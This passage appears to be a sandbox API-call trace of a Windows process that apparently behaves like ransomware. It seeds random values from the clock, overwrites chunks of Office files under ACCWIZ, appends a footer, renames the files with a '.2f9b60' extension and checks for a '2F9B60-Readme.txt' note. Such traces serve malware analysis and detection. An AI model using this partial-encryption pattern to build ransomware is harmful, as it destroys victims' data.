(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a59f0) returned 1 [0201.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a59f0 [0201.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5b10 [0201.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5bd0 [0201.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5bd0) returned 1 [0201.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0201.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce5c740 [0201.673] sprintf (in: _Dest=0x1ce5c740, _Format="%c%c" | out: _Dest="41") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c742, _Format="%c%c" | out: _Dest="dc") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c744, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c746, _Format="%c%c" | out: _Dest="87") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c748, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c74a, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c74c, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c74e, _Format="%c%c" | out: _Dest="83") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c750, _Format="%c%c" | out: _Dest="3f") returned 2 [0201.673] sprintf (in: _Dest=0x1ce5c752, _Format="%c%c" | out: _Dest="28") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c754, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c756, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c758, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c75a, _Format="%c%c" | out: _Dest="df") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c75c, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c75e, _Format="%c%c" | out: _Dest="54") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c760, _Format="%c%c" | out: _Dest="49") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c762, _Format="%c%c" | out: _Dest="15") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c764, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c766, _Format="%c%c" | out: _Dest="e3") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c768, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c76a, _Format="%c%c" | out: _Dest="db") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c76c, _Format="%c%c" | out: _Dest="4d") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c76e, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c770, _Format="%c%c" | out: _Dest="26") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c772, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c774, _Format="%c%c" | out: _Dest="54") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c776, _Format="%c%c" | out: _Dest="70") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c778, _Format="%c%c" | out: _Dest="e0") returned 2 [0201.674] sprintf (in: _Dest=0x1ce5c77a, _Format="%c%c" | out: _Dest="e7") returned 2 [0201.674] RtlInitAnsiString (in: DestinationString=0x335bfc68, SourceString="41dc5d879d7cc6833f280ab42fdfed544915a0e34fdb4dc6263b5470e0e7" | out: DestinationString="41dc5d879d7cc6833f280ab42fdfed544915a0e34fdb4dc6263b5470e0e7") [0201.674] RtlAnsiStringToUnicodeString (in: DestinationString=0x335bfc38, SourceString="41dc5d879d7cc6833f280ab42fdfed544915a0e34fdb4dc6263b5470e0e7", AllocateDestinationString=1 | out: DestinationString="41dc5d879d7cc6833f280ab42fdfed544915a0e34fdb4dc6263b5470e0e7") returned 0x0 [0201.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x43107ad0 [0201.675] wcscat (in: _Dest=0x431974e0, _Source="41dc5d879d7cc68" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\41dc5d879d7cc68") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\41dc5d879d7cc68" [0201.675] wcscat (in: _Dest=0x431974e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\41dc5d879d7cc68.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\41dc5d879d7cc68.2f9b60" [0201.675] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\41dc5d879d7cc68.2f9b60", NtPathName=0x335bfc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\41dc5d879d7cc68.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4314c160 [0224.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314c160) returned 1 [0224.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320c160) returned 1 [0224.124] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x335bfc78, FileInformation=0x335bfc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x335bfc78, FileInformation=0x335bfc88) returned 0x0 [0224.124] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x335bfc78, FileInformation=0x335bfc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431974e0) returned 1 [0225.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107ad0) returned 1 [0225.381] FlushFileBuffers (hFile=0x1574) returned 1 [0225.553] CloseHandle (hObject=0x1574) returned 1 [0226.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20505730 [0226.010] wcscpy (in: _Dest=0x20505730, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0226.010] wcscat (in: _Dest=0x20505730, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" [0226.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\2f9b60-readme.txt")) returned 0x20 [0226.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505730) returned 1 [0226.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85be20) returned 1 Thread: id = 1092 os_tid = 0x17b8 [0111.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde")) returned 0x20 [0111.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", dwFileAttributes=0x20) returned 1 [0111.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0111.984] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x3460fe40 | out: lpFileSize=0x3460fe40*=2113536) returned 1 [0111.984] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x203ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.984] ReadFile (in: hFile=0xe04, lpBuffer=0x3460fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3460fe08, lpOverlapped=0x0 | out: lpBuffer=0x3460fdc0*, lpNumberOfBytesRead=0x3460fe08*=0x4, lpOverlapped=0x0) returned 1 [0111.986] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0111.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0111.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0111.986] NtQuerySystemTime (in: CurrentTime=0x3460fd00 | out: CurrentTime=0x3460fd00*=132462177174442000) returned 0x0 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x1bc9488f [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x67996839 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x6231f894 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x3f311254 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x3d26363c [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x377e4819 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x2a882860 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x7c8b6f61 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x4ff49ea0 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x7d7d101c [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x2078fbfb [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x3f640378 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x1e27ed26 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x64e9414e [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x492878a1 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x7cd4a53c [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x5ff1dc59 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x4976ed91 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x1e059e54 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x56a8fdd9 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x4a9398f1 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x2120797f [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x1e714b2c [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x14ee1feb [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x19455a5f [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x62cd95bc [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0xafd914d [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x7bd9f24a [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x386b554b [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x55a34b87 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x5b278467 [0111.987] RtlRandomEx (in: Seed=0x3460fcf0 | out: Seed=0x3460fcf0) returned 0x1227e57a [0111.996] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.996] ReadFile (in: hFile=0xe04, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3460fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3460fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0112.004] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0112.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0112.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8170 [0112.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8170) returned 1 [0112.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0112.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8170 [0112.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80b0 [0112.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a80b0) returned 1 [0112.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0112.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0112.005] WriteFile (in: hFile=0xe04, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3460fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x3460fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0128.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0128.728] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x102c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.728] ReadFile (in: hFile=0xe04, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3460fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3460fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0128.732] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x102c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0128.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa680 [0128.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa680) returned 1 [0128.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0128.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa680 [0128.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0128.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0128.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0128.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.733] WriteFile (hFile=0xe04, lpBuffer=0x41e6e130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3460fd60, lpOverlapped=0x0) [0171.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0171.074] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x200400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.074] ReadFile (in: hFile=0xe04, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3460fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3460fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0171.239] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x200400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d3d0 [0171.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d3d0) returned 1 [0171.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dd78d0 [0171.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d3d0 [0171.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d400 [0171.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d400) returned 1 [0171.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.242] WriteFile (in: hFile=0xe04, lpBuffer=0x41dd78d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3460fd60, lpOverlapped=0x0 | out: lpBuffer=0x41dd78d0*, lpNumberOfBytesWritten=0x3460fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0187.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dd78d0) returned 1 [0187.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce156f0 [0187.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d3d0) returned 1 [0187.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa680) returned 1 [0187.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8170) returned 1 [0187.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0187.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a8170 [0187.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0187.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0187.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cddad90 [0187.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9890 [0187.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98c0 [0187.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd98c0) returned 1 [0187.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14c) returned 0x1338c0 [0187.214] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.214] WriteFile (in: hFile=0xe04, lpBuffer=0x1338c0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x3460fe10, lpOverlapped=0x0 | out: lpBuffer=0x1338c0*, lpNumberOfBytesWritten=0x3460fe10*=0x14c, lpOverlapped=0x0) returned 1 [0201.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0201.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0201.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0201.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2d0) returned 1 [0201.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85a2d0 [0201.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a5a0 [0201.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a570 [0201.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a570) returned 1 [0201.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0201.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0201.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5e9b0 [0201.806] sprintf (in: _Dest=0x1ce5e9b0, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.806] sprintf (in: _Dest=0x1ce5e9b2, _Format="%c%c" | out: _Dest="98") returned 2 [0201.806] sprintf (in: _Dest=0x1ce5e9b4, _Format="%c%c" | out: _Dest="22") returned 2 [0201.806] sprintf (in: _Dest=0x1ce5e9b6, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.806] sprintf (in: _Dest=0x1ce5e9b8, _Format="%c%c" | out: _Dest="a5") returned 2 [0201.806] sprintf (in: _Dest=0x1ce5e9ba, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.806] sprintf (in: _Dest=0x1ce5e9bc, _Format="%c%c" | out: _Dest="43") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9be, _Format="%c%c" | out: _Dest="3c") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9c0, _Format="%c%c" | out: _Dest="d7") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9c2, _Format="%c%c" | out: _Dest="40") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9c4, _Format="%c%c" | out: _Dest="61") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9c6, _Format="%c%c" | out: _Dest="22") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9c8, _Format="%c%c" | out: _Dest="30") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9ca, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9cc, _Format="%c%c" | out: _Dest="60") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9ce, _Format="%c%c" | out: _Dest="6a") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9d0, _Format="%c%c" | out: _Dest="ca") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9d2, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9d4, _Format="%c%c" | out: _Dest="56") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9d6, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9d8, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9da, _Format="%c%c" | out: _Dest="c8") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9dc, _Format="%c%c" | out: _Dest="89") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9de, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9e0, _Format="%c%c" | out: _Dest="17") returned 2 [0201.807] sprintf (in: _Dest=0x1ce5e9e2, _Format="%c%c" | out: _Dest="28") returned 2 [0201.807] RtlInitAnsiString (in: DestinationString=0x3460fe88, SourceString="7e98229aa5ce433cd740612230b4606acabd560f7cc8899e1728" | out: DestinationString="7e98229aa5ce433cd740612230b4606acabd560f7cc8899e1728") [0201.807] RtlAnsiStringToUnicodeString (in: DestinationString=0x3460fe58, SourceString="7e98229aa5ce433cd740612230b4606acabd560f7cc8899e1728", AllocateDestinationString=1 | out: DestinationString="7e98229aa5ce433cd740612230b4606acabd560f7cc8899e1728") returned 0x0 [0201.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420614b0 [0201.808] wcscat (in: _Dest=0x431976c0, _Source="7e98229aa5ce4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\7e98229aa5ce4") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\7e98229aa5ce4" [0201.808] wcscat (in: _Dest=0x431976c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\7e98229aa5ce4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\7e98229aa5ce4.2f9b60" [0201.808] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\7e98229aa5ce4.2f9b60", NtPathName=0x3460fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\7e98229aa5ce4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4314c220 [0224.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314c220) returned 1 [0224.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320d510) returned 1 [0224.127] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x3460fe98, FileInformation=0x3460fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3460fe98, FileInformation=0x3460fea8) returned 0x0 [0224.127] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x3460fe98, FileInformation=0x3460fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431976c0) returned 1 [0225.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0225.367] FlushFileBuffers (hFile=0xe04) returned 1 [0225.551] CloseHandle (hObject=0xe04) returned 1 [0226.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20505910 [0226.004] wcscpy (in: _Dest=0x20505910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0226.004] wcscat (in: _Dest=0x20505910, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft 